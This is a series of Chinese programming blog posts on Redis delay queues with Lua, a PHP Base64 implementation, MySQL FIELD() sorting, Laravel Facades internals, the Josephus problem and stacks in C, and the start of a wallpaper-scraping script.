echo $queue->push('test', $data);
require_once './vendor/autoload.php';
require_once './RedisDelayQueue.php';
$queue = new RedisDelayQueue();
$queue->consume('test', function ($value) {
printf("[%s] %s \r\n", date('Y-m-d H:i:s'), $value);
});
// 处理异常情况
$queue->consume('test', function ($value) {
printf("[%s] %s \r\n", date('Y-m-d H:i:s'), $value);
// 假装出现异常
throw new \Exception('数据库连接超时');
}, function ($e, $value) {
printf("发生异常:%s \r\n", $e->getMessage());
printf("获取到的数据:%s \r\n", $value);
});
php index.php
[2020-01-19 02:29:47] 投递数据的时间是:2020-01-19 02:29:37
[2020-01-19 02:30:19] 投递数据的时间是:2020-01-19 02:30:09
上面提到了,一条数据可能会被多个进程获取到,然后通过 ZREM 移除数据判断是否抢占数据成功,执行 ZRANGEBYSCORE 和 ZREM 命令会发出两次请求,那些没有抢到数据的进程就相当于这次数据白获取了。
使用 Lua 脚本进行优化,只发出一次请求,在服务端进行数据抢占操作。
Redis 中执行 Lua 脚本的命令是 EVAL:
EVAL script numkeys key [key ...] arg [arg ...]
Redis 版本 >= 2.6.0 才能使用 Lua 脚本。
修改如下:
public function consume($queueName, \Closure $callback, \Closure $catch = null)
{
$script = $this->getLuaScript();
while (true) {
// 使用 eval 执行 Lua 脚本
$result = $this->client->eval($script, 2, $queueName, time());
// 没获取到数据就休息一秒
if (empty($result)) {
sleep(1);
continue;
}
try {
$callback($result);
} catch(\Exception $e) {
if (!$catch instanceof \Closure) {
echo 'ERROR:' . $e->getMessage().PHP_EOL;
continue;
}
$catch($e, $result);
}
}
}
/**
* 获取 lua 脚本
* @return string
*/
public function getLuaScript()
{
return <<<LUA
local result = redis.call('zrangebyscore', KEYS[1], 0, KEYS[2], 'limit', 0, 1);
if (table.getn(result) == 0)
then
return false;
end
if (redis.call('zrem', KEYS[1], result[1]) > 0)
then
return result[1];
else
return false;
end
LUA;
}
需要注意是:基于 Redis 的延迟队列不能 100% 保证可靠性。
如果在使用 ZREM 命令将数据从集合中移除后,处理数据时发生了异常,那么这条数据就丢失了,也就是缺少了 ACK 机制,所以在使用时候需要进行权衡,或者使用 RabbitMQ 这些专业的消息中间件。
写到这已经3点50了…溜了溜了
2020.01.20 01:28 更新
增加处理异常的回调参数,可自定义处理抛出的异常。
]]>作者:Dennis_Ritchie 原文地址:https://learnku.com/articles/36655
对于现在很多的 PHP 程序员而言,绝大部分时间都是在做业务有关的代码,其它方面可能涉及的比较少,因此今天准备和大家讲讲不一样的知识,Base64加密算法,上午花了一点儿时间用PHP重新实现了一遍,因为之前使用c写的,中间也出现了一些bug,但是很快修复了,代码我已经上传到了码云php-base64-implemention,希望大家下载下来仔细的分析一哈。
如果对位操作不熟悉的读者,建议先看一下这方面的内容,非常简单,几分钟就可以了。
base64的作用是把任意的字符序列转换为只包含特殊字符集的序列,那么base64加密之后的文本包含哪些字符呢?
上面总共包含64个字符,所以每个字符都使用6位来表示,下面有一张表,可以清晰的说明这个问题

这个是我在维基百科的截图,举个例子,对于Base64加密之后的字符A,对应的数值为0,二进制表示就是000000,如果你现在不懂,没关系,后面我会仔细的讲解加密和解密的过程。
上面我已经提到了,每个Base64字符用6位来表示,但是一个字节是8位,所以3个字节刚好可以生成4个Base64字符,这应该很容易计算出来,下面我给大家举个例子,假如说现在有个字符串为"123",1的ASCII为49,那么转换为二进制就是 00110001,2的ASCII为50,那么转换为二进制就是00110010,3的ASCII为51,那么转换为二进制就是00110011,这三个二进制组合在一起就是这样:001100010011001000110011 上面的二进制位总共24位,从左到右依次取6位,对应关系如下:
所以经过上面的分析,123转换为Base64之后,就是MTIz,是不是很简单?正常情况下都是很美好的,但是我们刚才的分析建立在加密之前的字节数是3的倍数,那么如果不是呢,比如剩下一个字节,或者是2个,别急,下面来一一分析。
如果剩下一个字节,那么也就是说剩下8位,因为6位才能组合成一组啊,所以我们需要给它补上,补多少呢?只要4位就行了,12位刚好可以凑成2个Base64字符,那么补什么呢?很简单,补0000就可以了,还是以上面的123为例,但是我们给它加上一个4,所以现在是“1234”,根据上面的分析,123刚好可以转换为4个Base64字符,所以不管它,和上面的一模一样,。现在我们只需要分析后面的4,4的ASCII为52,转换为二进制就是00110100,我们给它加上4个0,那么结果就是001101000000,再对它进行6位分割,001101和000000,查表得到N和A,没错,这就是正确答案,但是为了后面的解码,我们需要在加密后的字符串末尾加上2个“=”,就是“MTIzNA==”。
如果剩下2个字节的话,2个字节刚好16位,6位一组的话,也就是说,少了2位,这样就可以组合成18位了(3个Base64字符),这里我们以字符串“12”为例,1的ASCII转换为二进制是00110001,2的ASCII转换为二进制是00110010,我们将它组合在一起然后补齐之后(加上2个0),就是001100010011001000,按照6位一组进行分割,然后查表求得,结果是MTI,但是为了后面的解码,我们需要在加密后的字符串末尾加上1个“=”,就是“MTI=”。
有了加密的基础,解密就很简单了,以上面的加密结果为例 “MTIzNA==”,下面我们分别分析:
Base64解密的时候,需要查上面的表,进行反向操作,举个例子,对于Base64字符M,查表得到它对应的6位二进制位为001100,一定要谨记这一点。
上面讲解了Base64的加密和解密方法,说起来容易做起来难啊,在PHP里面尤其如此
function normalToBase64Char($num)
{
if ($num >= 0 && $num <= 25) {
return chr(ord('A') + $num);
} else if ($num >= 26 && $num <= 51) {
return chr(ord('a') + ($num - 26));
} else if ($num >= 52 && $num <= 61) {
return chr(ord('0') + ($num - 52));
} else if ($num == 62) {
return '+';
} else {
return '/';
}
}
上面的代码就是截图的PHP代码实现,这里我提醒大家不要把Base64的a字符和ASCII的a字符混淆起来,两种情况下存在着上图的映射关系,再次提醒一下,这个函数传入的是6位的数据。
这个过程就是 6位数字 转换为Base64字符的逆过程,代码如下:
function base64CharToInt($num)
{
if ($num >= 65 && $num <= 90) {
return ($num - 65);
} else if ($num >= 97 && $num <= 122) {
return ($num - 97) + 26;
} else if ($num >= 48 && $num <= 57) {
return ($num - 48) + 52;
} else if ($num == 43) {
return 62;
} else {
return 63;
}
}
对于任意一个Base64字符,我们首先要获取到它对应的ASCII值,再根据这个值,通过上面的表的映射关系,求出它对应Base64数值,这个数据就是未加密数据的真实字节数据。
function encode($content)
{
$len = strlen($content);
$loop = intval($len / 3);//完整组合
$rest = $len % 3;//剩余字节数,需要补齐
$ret = "";
//首先计算完整组合
for ($i = 0; $i < $loop; $i++) {
$base_offset = 3 * $i;
//每三个字节组合成一个无符号的24位的整数
$int_24 = (ord($content[$base_offset]) << 16)
| (ord($content[$base_offset + 1]) << 8)
| (ord($content[$base_offset + 2]) << 0);
//6位一组,每一组都进行Base64字符串转换
$ret .= self::normalToBase64Char($int_24 >> 18);
$ret .= self::normalToBase64Char(($int_24 >> 12) & 0x3f);
$ret .= self::normalToBase64Char(($int_24 >> 6) & 0x3f);
$ret .= self::normalToBase64Char($int_24 & 0x3f);
}
//需要补齐的情况
if ($rest == 0) {
return $ret;
} else if ($rest == 1) {
//剩余1个字节,此时需要补齐4位
$int_12 = ord($content[$loop * 3]) << 4;
$ret .= self::normalToBase64Char($int_12 >> 6);
$ret .= self::normalToBase64Char($int_12 & 0x3f);
$ret .= "==";
return $ret;
} else {
//剩余2个字节,需要补齐2位
$int_18 = ((ord($content[$loop * 3]) << 8) | ord($content[$loop * 3 + 1])) << 2;
$ret .= self::normalToBase64Char($int_18 >> 12);
$ret .= self::normalToBase64Char(($int_18 >> 6) & 0x3f);
$ret .= self::normalToBase64Char($int_18 & 0x3f);
$ret .= "=";
return $ret;
}
}
上面的代码和我之前分析的一模一样。
解密的过程复杂一点儿,但是只要你看懂上面我所说的,肯定没问题。
function decode($content)
{
$len = strlen($content);
if ($content[$len - 1] == '=' && $content[$len - 2] == '=') {
//说明加密的时候,剩余1个字节,补齐了4位,也就是左移了4位,所以除了最后包含的2个字符,前面的所有字符可以4个字符一组
$last_chars = substr($content, -4);
$full_chars = substr($content, 0, $len - 4);
$type = 1;
} else if ($content[$len - 1] == '=') {
//说明加密的时候,剩余2个字节,补齐了2位,也就是左移了2位,所以除了最后包含的3个字符,前面的所有字符可以4个字符一组
$last_chars = substr($content, -4);
$full_chars = substr($content, 0, $len - 4);
$type = 2;
} else {
$type = 3;
$full_chars = $content;
}
//首先处理完整的部分
$loop = strlen($full_chars) / 4;
$ret = "";
for ($i = 0; $i < $loop; $i++) {
$base_offset = 4 * $i;
$int_24 = (self::base64CharToInt(ord($full_chars[$base_offset])) << 18)
| (self::base64CharToInt(ord($full_chars[$base_offset + 1])) << 12)
| (self::base64CharToInt(ord($full_chars[$base_offset + 2])) << 6)
| (self::base64CharToInt(ord($full_chars[$base_offset + 3])) << 0);
$ret .= chr($int_24 >> 16);
$ret .= chr(($int_24 >> 8) & 0xff);
$ret .= chr($int_24 & 0xff);
}
//紧接着处理补齐的部分
if ($type == 1) {
$l_char = chr(((self::base64CharToInt(ord($last_chars[0])) << 6)
| (self::base64CharToInt(ord($last_chars[1])))) >> 4);
$ret .= $l_char;
} else if ($type == 2) {
$l_two_chars = ((self::base64CharToInt(ord($last_chars[0])) << 12)
| (self::base64CharToInt(ord($last_chars[1])) << 6)
| (self::base64CharToInt(ord($last_chars[2])) << 0)) >> 2;
$ret .= chr($l_two_chars >> 8);
$ret .= chr($l_two_chars & 0xff);
}
return $ret;
}
任何代码都不能缺少理论的支撑,所以在看代码前,请仔细的阅读Base64的基本原理,一旦原理看懂了,阅读代码就不是那么难了,任何时候阅读别人的代码,这都是应该谨记的地方,之前就已经告诉大家了,代码已经上传到码云,php-base64-implemention,代码没有问题,完全可以运行,如果有问题可以找我,博文的最后面有我的联系方式,祝您假期愉快。
我建了一个qq群,大家平时可以交流学习,我也会给大家讲解Laravel的底层知识和其它编程知识。
]]>订单表结构如下:
CREATE TABLE `orders` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(60) NOT NULL COMMENT '订单标题',
`status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '订单状态:1 待支付、2 支付中、3 已支付',
PRIMARY KEY (`id`)
);
测试数据:
INSERT INTO `orders` VALUES (1, '订单1', 3);
INSERT INTO `orders` VALUES (2, '订单2', 1);
INSERT INTO `orders` VALUES (3, '订单3', 2);
INSERT INTO `orders` VALUES (4, '订单4', 1);
在展示订单列表的时候,要求将状态为支付中的展示在最前面,然后是状态为待支付、已支付。
一般的需求按照订单状态大小进行排序可以直接使用 ORDER BY 订单状态 完成,比如 待支付(1)、支付中(2)、已完成(3) 或者 已完成(3)、支付中(2)、待支付(1)
但是像上面这种需求,并不完全按照订单状态大小,而是按照指定的订单状态顺序 支付中(2)、待支付(1)、已完成(3) 来进行排序,当遇到这种情况就可以使用 FIELD() 函数了。
函数结构:FIELD(s, s1, s2, s3...)
作用:返回第一个字符串 s 在字符串列表(s1, s2, s3…)中的位置。
简单示例:
SELECT FIELD('a', 'a', 'b', 'c', 'd');
+--------------------------------+
| FIELD('a', 'a', 'b', 'c', 'd') |
+--------------------------------+
| 1 |
+--------------------------------+
SELECT FIELD('c', 'a', 'b', 'c', 'd');
+--------------------------------+
| FIELD('c', 'a', 'b', 'c', 'd') |
+--------------------------------+
| 3 |
+--------------------------------+
在使用 FIELD() 函数进行排序的时候,只需要将状态按照上面要求的顺序进行排列,就可以实现了。
SELECT * FROM orders ORDER BY FIELD(`status`, 2, 1, 3);
+----+---------+--------+
| id | title | status |
+----+---------+--------+
| 3 | 订单3 | 2 |
| 2 | 订单2 | 1 |
| 4 | 订单4 | 1 |
| 1 | 订单1 | 3 |
+----+---------+--------+
将 FIELD() 函数的返回值一起打印出来。
SELECT *, FIELD(`status`, 2, 1, 3) FROM orders ORDER BY FIELD(`status`, 2, 1, 3);
+----+---------+--------+--------------------------+
| id | title | status | FIELD(`status`, 2, 1, 3) |
+----+---------+--------+--------------------------+
| 3 | 订单3 | 2 | 1 |
| 2 | 订单2 | 1 | 2 |
| 4 | 订单4 | 1 | 2 |
| 1 | 订单1 | 3 | 3 |
+----+---------+--------+--------------------------+
可以看到,实际上在查询的时候 ORDER BY 的是 FEILD() 函数的返回值,也就是 status 的值在 (2, 1, 3) 中的位置。
一句话总结,当遇到自定义排序规则时就可以使用 FEILD() 函数。
在使用 Laravel 框架进行开发项目的时候,Facades 是一个经常能用到的模块,比如在使用缓存(Cache)、日志(Log) 等组件的地方。
use Illuminate\Support\Facades\Cache;
$name = Cache::get('name');
use use Illuminate\Support\Facades\Log;
Log::info('this is log content');
Facades 的主要优点就是不需要记住各个组件所在目录对应的的命名空间,因为 Illuminate\Support\Facades\ 这一段都是固定的,变化的只是后面的组件名称。
早在刚接触 Laravel 的时候,就对 Facades 充满了疑惑,为什么要这样用,直接用组件真正的命名空间不行吗,代码追踪过去又没有组件实现代码,只有一个静态方法 getFacadeAccessor 返回了组件的名称(cache、log),但是在使用的时候又能调用到组件真正的方法。
class Cache extends Facade
{
/**
* Get the registered name of the component.
*
* @return string
*/
protected static function getFacadeAccessor()
{
return 'cache';
}
}
那么真相只能在父类 Facade 里面了。
但是鉴于平时工作都在搬砖,做一名快乐的 CURD Boy,秉承着实用主义及又不是不能用的理念,所以当时并没有去深究代码(实际上是因为太菜了看不懂)。
那为什么现在又开始研究怎么它实现的呢?是我变强了吗?不!是因为需要用上它了…(实用主义万岁)
当时在写一个基于 overtrue/socialite 实现的 her-cat/colourlife-oauth2 扩展包,为了兼容 Laravel 的 Facades 用法,不得不了解一下 Facades 的实现原理(其实仔细看两遍文档就能知道个大概了)。
言归正传,就拿 Cache 来举例子,Facades\Cache 的文件内容就在上面,Cache 继承了抽象类 Facade 并实现了 getFacadeAccessor 静态方法,该方法返回了 Cache 组件(就是真正的缓存类)在 Laravel 容器中注册的名称,也就是 cache,这样我们就能从容器中取出 Cache 组件 的实例对象了,整个 Facades 实现也就是从容器中取出实例对象,让实例对象执行被调用的方法。
vendor/laravel/framework/src/Illuminate/Foundation/Application.php:
/**
* Register the core class aliases in the container.
*
* @return void
*/
public function registerCoreContainerAliases()
{
foreach ([
// ...
'cache' => [\Illuminate\Cache\CacheManager::class, \Illuminate\Contracts\Cache\Factory::class],
// ...
] as $key => $aliases) {
foreach ($aliases as $alias) {
$this->alias($key, $alias);
}
}
}
当我们运行 Cache::get('name') 的时候,会先触发父类 Facade 的魔术方法 __callStatic,因为 Facade 并没有 get 方法。
/**
* Handle dynamic, static calls to the object.
*
* @param string $method
* @param array $args
* @return mixed
*
* @throws \RuntimeException
*/
public static function __callStatic($method, $args)
{
$instance = static::getFacadeRoot();
if (! $instance) {
throw new RuntimeException('A facade root has not been set.');
}
return $instance->$method(...$args);
}
$method 是被调用的方法的名称(这个时候的值是 get),$args 就是参数数组(array(1) { [0]=> string(4) "name" }),通过 getFacadeRoot 方法获取到 Cache 组件 的实例对象,然后以 $args 作为参数,调用实例的 get 方法,最后返回方法执行结果。
以上就是方法就是 Facade 的实现原理了,接下来再看看 getFacadeRoot 方法。
/**
* Get the root object behind the facade.
*
* @return mixed
*/
public static function getFacadeRoot()
{
return static::resolveFacadeInstance(static::getFacadeAccessor());
}
这个方法本身没有什么代码,就是调用了 resolveFacadeInstance 方法,通过组件名称从 Laravel 容器中取出对应的实例对象,这个组件名称就是通过 Facades\Cache 类的 getFacadeAccessor 方法获取的,这里的返回值就是 cache。
接下来就到了最后一个方法:resolveFacadeInstance。
/**
* Resolve the facade root instance from the container.
*
* @param object|string $name
* @return mixed
*/
protected static function resolveFacadeInstance($name)
{
if (is_object($name)) {
return $name;
}
if (isset(static::$resolvedInstance[$name])) {
return static::$resolvedInstance[$name];
}
if (static::$app) {
return static::$resolvedInstance[$name] = static::$app[$name];
}
}
此时 $name 的值是 cache。如果 $name 是一个对象的话,就直接返回 $name,$resolvedInstance 是一个用来保存已解析过的实例对象的数组,判断 $name 是否已经从 Laravel 容器中解析过,如果已经解析过就直接返回。
注意:这里是的判断是在这一次请求的生命周期内是否解析过,下次请求进来的时候还是会从 Laravel 容器中取出来。
如果 Laravel 容器如果不是空的话,就通过 $name 从 Laravel 容器中取出 Cache 组件 的实例对象,将 $name 作为 key 存入解析过的实例对象的数组中,并返回。
好了,Facades 的实现代码到这里就完了,最后再附上精简版的 Facades 及测试代码。
Facade 抽象类:
namespace App\Core;
abstract class Facade
{
/**
* 用于存放实例对象的数组(实际上在 Laravel 中并不是数组,而是 Application 对象)
* @var array
*/
protected static $app = [];
/**
* 用于保存解析过的实例对象的数组
*
* @var array
*/
protected static $resolvedInstance = [];
/**
* 获取 facade 绑定的实例对象
*
* @return mixed
*/
public static function getFacadeRoot()
{
return static::resolveFacadeInstance(static::getFacadeAccessor());
}
/**
* 获取组件在容器中注册的名称
*
* @return string
*
* @throws \Exception
*/
protected static function getFacadeAccessor()
{
throw new \Exception('Facade does not implement getFacadeAccessor method.');
}
/**
* 从容器中获取组件的实例对象
*
* @param object|string $name
* @return mixed
*/
protected static function resolveFacadeInstance($name)
{
if (is_object($name)) {
return $name;
}
if (isset(static::$resolvedInstance[$name])) {
return static::$resolvedInstance[$name];
}
if (static::$app) {
return static::$resolvedInstance[$name] = static::$app[$name];
}
}
/**
* Handle dynamic, static calls to the object.
*
* @param string $method
* @param array $args
* @return mixed
*
* @throws \Exception
*/
public static function __callStatic($method, $args)
{
$instance = static::getFacadeRoot();
if (! $instance) {
throw new \Exception('A facade root has not been set.');
}
return $instance->$method(...$args);
}
/**
* 设置组件实例对象(Laravel源码并无该方法,为了演示 Facade 加上的)
*
* @param $name
* @param $obj
*/
public static function setComponentInstance($name, $obj)
{
self::$app[$name] = $obj;
}
}
继承了 Facade 的类:
namespace App\Facades;
use App\Core\Facade;
/**
* @method static mixed get($key)
*/
class Cache extends Facade
{
public static function getFacadeAccessor()
{
return 'cache';
}
}
/**
* @method static mixed info($key)
*/
class Log extends Facade
{
public static function getFacadeAccessor()
{
// 这里与上面不一样,返回的是组件的实例
return new \App\Components\Log();
}
}
组件的实现:
namespace App\Components;
class Cache
{
public function get($key)
{
return "key:{$key}, value: her-cat";
}
}
class Log
{
public function info($content)
{
return "记录的内容:{$content}";
}
}
测试代码:
namespace App\Test;
// 将 Cache 组件的实例对象存入 static::$app 中
\App\Core\Facade::setComponentInstance('cache', new \App\Components\Cache());
echo \App\Facades\Cache::get('name').PHP_EOL;
// Log 组件并未注册到 static::$app 中
echo \App\Facades\Log::info('哈哈哈哈').PHP_EOL;
前两天朋友给我发来一个题目,问我能不能用C语言链表实现。
13个人围成一圈,从第1个人开始顺序报号1,2,3。凡报到“3”者退出圈子,找出最后留在圈子中的人原来的序号。要求用链表实现。
看了题目以后发现其实是 约瑟夫环,是一个数学应用问题。
约瑟夫环 又称为 约瑟夫问题、丢手绢问题。
一群人围在一起坐成环状,从某个编号开始报数,数到某个数的时候,此人出列,下一个人重新报数,一直循环,直到所有人出列,约瑟夫环结束。
例如有序号分别为 1、2、3 的人围成一个圈, 从 1 开始报数,数到 3 的淘汰。
第一轮,淘汰:3,剩余 1、2、
第二轮,淘汰:1,剩余 2
2 号就是最后留在圈子中的人。
代码中用了链式队列的思想来模拟报数,头部取出,尾部插入。
#include <stdio.h>
#include <malloc.h>
/**
* 结构体
*/
struct PerNode {
// 序号
int m_iNumber;
// 下一个元素的指针
struct PerNode * m_pNextPer;
};
/*
**函数功能:采用malloc函数动态地创建并初始化一个单向链表
**入口参数:iLstLen为拟创建链表的结点数
**返回值:新创建链表的头结点的指针
*/
struct PerNode * crtPrLst(int iLstLen) {
// 生成头节点
struct PerNode *headNode = malloc(sizeof(struct PerNode));
struct PerNode * perNode = headNode;
perNode->m_pNextPer = NULL;
// 用于存放临时生成的元素
struct PerNode *temp;
// 创建链表
for (int i = iLstLen; i >= 1 ; i--) {
temp = malloc(sizeof(struct PerNode));
temp->m_iNumber = i;
temp->m_pNextPer = perNode->m_pNextPer;
perNode->m_pNextPer = temp;
}
return headNode;
}
/**
* 删除并返回链表的第一个元素
* @param pTmp
* @return
*/
struct PerNode * pop(struct PerNode * pTmp) {
if (pTmp == NULL) {
return NULL;
}
// 取出第一个元素
struct PerNode * temp = pTmp->m_pNextPer;
if (temp == NULL) {
return NULL;
}
// 移除第一个元素
pTmp->m_pNextPer = temp->m_pNextPer;
return temp;
}
/**
* 向链表的末尾添加一个元素
* @param pTmp
* @param value
*/
void push(struct PerNode * pTmp, int value) {
struct PerNode * l = pTmp->m_pNextPer;
// 遍历到最后一个元素
while (l != NULL && l->m_pNextPer != NULL) {
l = l->m_pNextPer;
}
// 新建一个元素
struct PerNode * node = malloc(sizeof(struct PerNode));
node->m_iNumber = value;
node->m_pNextPer = NULL;
// 如果最后一个元素不为空则插入到它的后面
if (l != NULL) {
l->m_pNextPer = node;
}
}
struct PerNode * josephus(struct PerNode *pTmp) {
// 计数器,用来报数
int i = 0;
// 最后留在圈子中的元素
struct PerNode * p;
while (1) {
// 模拟报数
i++;
// 取出一个元素
struct PerNode * node = pop(*&pTmp);
// 如果元素为 NULL,则说明没有人了
if (node == NULL) {
break;
}
// 如果这个人报数不是 3,则放回链表尾部
if (i % 3 != 0) {
push(*&pTmp, node->m_iNumber);
}
// 记录当前的元素
p = node;
}
return p;
}
/**
* 打印链表
* @param l
*/
void printLink(struct PerNode * l)
{
while (l != NULL) {
printf("%d \n", l->m_iNumber);
l = l->m_pNextPer;
}
printf("---------\n");
}
int main() {
// 创建一个长度为13的链表
struct PerNode *pHead = crtPrLst(13);
// 找出最后在圈子中的人
pHead = josephus(pHead);
// 打印它的序号
printf("%d \n", pHead->m_iNumber);
return 0;
}
]]>2018 年最后一篇文章。
因为数据结构和算法这一块的知识比较匮乏,很多东西都是只有一个模糊的概念,并不知其所以然,其实很早就想学习数据结构和算法,但是由于很多原因(懒)一直没有真正的行动起来,学起来也是东一榔头西一棒槌,很乱,这次准备开始系统的学习数据结构和算法。
Github 地址:https://github.com/her-cat/learning-datastructure-algorithm
数据结构是指数据元素之间存在着一种或多种关系的集合,简单来说就是 一组数据的存储结构。
数据的逻辑结构分为四种:
属于同一个集合。数据的物理结构分为四种:
物理位置的相邻关系表示数据元素之间的逻辑关系。不表示元素之间的关系。不表示元素之间的关系。栈是限定只能在表的一端进行插入或删除操作的线性表。
线性表:相同类型的数据的有限序列。
允许插入、删除操作的一端是栈顶、另一端是栈顶。
一般将插入和删除操作称为入栈和出栈。

现实生活中有很多类似于栈的操作,比如洗碗的时候,将洗干净的碗一个接一个的往上放(相当于入栈),取碗时,则从上面一个接一个往下取(相当于出栈)。

我们放碗的顺序是12345、取碗的顺序是54321,放碗的时候必须按照从下往上的顺序放,不能先放上面的再放下面的,取得时候必须从上往下取。
特点:限制在表的一端操作,后入先出(LIFO,即 Last In First Out)
栈是一种线性表,所以栈也有线性表的两种存储结构(顺序存储结构和链式存储结构)。
栈的顺序存储结构称为顺序栈,链式存储结构称为链栈。
利用一组地址连续的存储单元依次存放栈底到栈顶的数据元素,栈底位置固定不变,栈顶位置随着入栈和出栈操作而变化。
链栈是一种特殊的线性链表,和所有链表一样,是动态存储结构,无需预先分配存储空间。
顺序栈和链栈的存储方式不同,所以对栈的操作的实现方式也不一样,一般栈有以下几个基本操作。
下面分别演示顺序栈和链栈的操作。
#define FALSE 0
#define TRUE 1
#define STACK_SIZE 50
#define STACK_ELEMENT_TYPE int
/* 顺序栈结构体类型 */
typedef struct
{
/* 用于存放栈中元素的一维数组 */
STACK_ELEMENT_TYPE elem[STACK_SIZE];
/* 用来存放栈顶元素的下标 */
int top;
} SeqStack;
FALSE 和 TRUE 即 假和真, STACK_SIZE 是栈的大小,STACK_ELEMENT_TYPE 是栈中数据元素的类型,elem 用来存放数据元素,top 用于存放栈顶元素的下标。
void InitStack(SeqStack *S)
{
/* top为-1表示空栈 */
S->top = -1;
}
栈顶元素下标 top 等于 -1 为空栈,所以只需将 top 赋值 -1 即可完成顺序栈的初始化。
int IsEmpty(SeqStack *S)
{
if (S->top == -1) {
return TRUE;
} else {
return FALSE;
}
}
如果栈顶元素下标 top 等于 -1,则栈是空栈。
int IsFull(SeqStack *S)
{
if (S->top == STACK_SIZE - 1) {
return TRUE;
} else {
return FALSE;
}
}
如果栈顶元素下标 top 等于栈的大小(STACK_SIZE - 1),则栈已满。
int Push(SeqStack *S, STACK_ELEMENT_TYPE value)
{
if (IsFull(S) == TRUE) {
// 栈已满
return FALSE;
}
// 修改栈顶元素下标
S->top++;
S->elem[S->top] = value;
return TRUE;
}
先判断是否已经满栈,然后移动栈顶元素下标,再将数据放入栈中。
int Pop(SeqStack *S, STACK_ELEMENT_TYPE *value)
{
if(IsEmpty(S) == TRUE) {
// 栈为空
return FALSE;
}
*value = S->elem[S->top];
// 修改栈顶元素下标
S->top--;
return TRUE;
}
先判断栈是否为空,然后将栈顶元素下标对应的数据取出来,移动栈顶元素下标。
int GetTop(SeqStack *S, STACK_ELEMENT_TYPE *value)
{
if(IsEmpty(S) == TRUE) {
return FALSE;
}
*value = S->elem[S->top];
return TRUE;
}
跟出栈的逻辑一样,只是没有移动栈顶元素的下标。
#define FALSE 0
#define TRUE 1
#define STACK_ELEMENT_TYPE int
/* 链栈节点 */
typedef struct node {
STACK_ELEMENT_TYPE data;
struct node *next;
} LinkStackNode;
/* 链栈结构 */
typedef struct {
LinkStackNode *top;
int length;
} LinkStack;
data 存放的是数据元素,*next 是后继节点的指针,*top 是栈顶,插入和删除都是在这里,length 是链栈的长度。
void InitStack(LinkStack *S)
{
S->top = NULL;
S->length = 0;
}
初始化栈顶指针和链栈长度。
int IsEmpty(LinkStack *S)
{
if (S->length == 0) {
return TRUE;
} else {
return FALSE;
}
}
当链栈长度等于0的时候为空栈,也可以判断 top 是否为 NULL;
int Push(LinkStack *S, STACK_ELEMENT_TYPE value)
{
LinkStackNode *temp = (LinkStackNode *)malloc(sizeof(LinkStackNode));
if (temp == NULL) {
// 申请空间失败
return FALSE;
}
temp->data = value;
temp->next = S->top;
// 将新元素作为栈顶指针
S->top = temp;
// 链栈长度加一
S->length++;
return TRUE;
}
首先将栈顶 top 赋值给 temp->next,然后将 temp 作为栈顶指针,链栈长度加一。
int Pop(LinkStack *S, STACK_ELEMENT_TYPE *value)
{
if (IsEmpty(S) == TRUE) {
// 空栈
return FALSE;
}
LinkStackNode *temp = S->top;
// 移动栈顶指针
S->top = temp->next;
// 链栈长度减一
S->length--;
// 将链栈元素返回
*value = temp->data;
// 释放temp空间
free(temp);
return TRUE;
}
上面已经说过,链栈的插入、删除操作都是在操作 top,所以我们先将 top 取出来赋值给 temp,然后将栈顶元素的后继节点作为栈顶,链栈长度减一,取出旧的栈顶中的数据(注意这里是 temp->data,而不是 S->top->data),然后释放旧的栈顶元素。
int GetTop(LinkStack *S, STACK_ELEMENT_TYPE *value)
{
if(IsEmpty(S) == TRUE) {
return FALSE;
}
*value = S->top->data;
return TRUE;
}
如果不是空栈,直接取栈顶元素中的数据就可以了。
接下来就用栈相关的知识进行实际应用。
在 leetcode 中一道题目叫做 有效的括号,题目的内容:
给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效。
有效字符串需满足:
左括号必须用相同类型的右括号闭合。
左括号必须以正确的顺序闭合。
注意空字符串可被认为是有效字符串。
输入: "()"
输出: true
输入: "()[]{}"
输出: true
输入: "(]"
输出: false
输入: "{[]}"
输出: true
题目分析:在文章开始的时候,举了一个洗碗的例子,放碗的顺序是12345、取碗的顺序是54321,如果将 12345 看成五种括号,那么我们放碗和取碗的顺序就是一个有效的括号(1234554321),所以这题可以用栈来解决.
代码:
bool isValid(char* s) {
char ch;
InitStack(&S);
for (int i = 0; i < strlen(s); ++i) {
// 如果当前字符是左括号则入栈
if (s[i] == '(' || s[i] == '{' || s[i] == '[') {
Push(&S, s[i]);
} else if (s[i] == ')') {
Pop(&S, &ch);
if (ch != '(') {
return 0;
}
} else if (s[i] == '}') {
Pop(&S, &ch);
if (ch != '{') {
return 0;
}
} else if (s[i] == ']') {
Pop(&S, &ch);
if (ch != '[') {
return 0;
}
}
}
if (IsEmpty(&S) == FALSE) {
return 0;
}
return 1;
}
s 就是我们需要检验的字符串, ch 用来存放取出来的括号,先初始化栈,然后使用for循环遍历整个字符串,s[i] 是当前遍历到的括号,当 s[i] 中的括号是左括号时,将括号入栈。当s[i]中的括号为右括号,我们需要出栈一个括号,然后判断出栈的括号是不是与当前遍历到的括号相匹配,比如当前遍历到的括号是 ),那么我们出栈的括号必须是 (,最后需要判断一下栈中是否还有括号,如果栈中还有括号,就说明这个字符串不是有效的括号,因为括号都是成双成对出现的,如果是有效的括号,就不会存在栈中还有括号存在。
凡是满足只能在一端进行插入、删除操作,并且是后入先出的,我们都可以称它为栈。
最后,祝大家中秋节快乐!
]]>打开网站首页,通过审查元素找到详情页面和略缩图的地址(下图红框部分)。
./wallpaper-6873.html./uploads/thumb/thumb-6873.jpg 可以看到这两个地址中都有 6873 这个数字,先猜测一下这个数字是这张壁纸的id,也就是唯一标识符。

为了验证猜测是否正确,打开详情页面对 点击按钮下载 右键审查元素,就看到下载壁纸的url。

从下载地址中可以看到 wallpaper=6873 这个参数,现在就能确认 6873 是壁纸的id。
window.open('./download.php?wallpaper=6873&type=1')
也就是说只要知道壁纸的id,就可以得到壁纸的下载地址。
http://www.huanse.net/download.php?wallpaper={壁纸id}&type=1
所以爬取的流程就是获取壁纸id,拼接出下载地址,然后下载壁纸。
壁纸的id在列表页就已经有了,所以我们只需要对列表页进行循环爬取就行了。

使用到的工具:
require 'vendor/autoload.php';
use QL\QueryList;
use Predis\Client;
// 实例化 redis 连接
$client = new Predis\Client('tcp://127.0.0.1:6379');
$page = 1;
do {
// 使用 QueryList 获取 html 网页内容,找到所有 img 标签的 data-echo 属性的值
$data = QueryList::get("http://www.huanse.net/new-{$page}.html")->find('img')->attrs('data-echo');
if (count($data) > 0) {
foreach ($data as $datum) {
if ($datum) {
// 通过分割字符串得到壁纸id
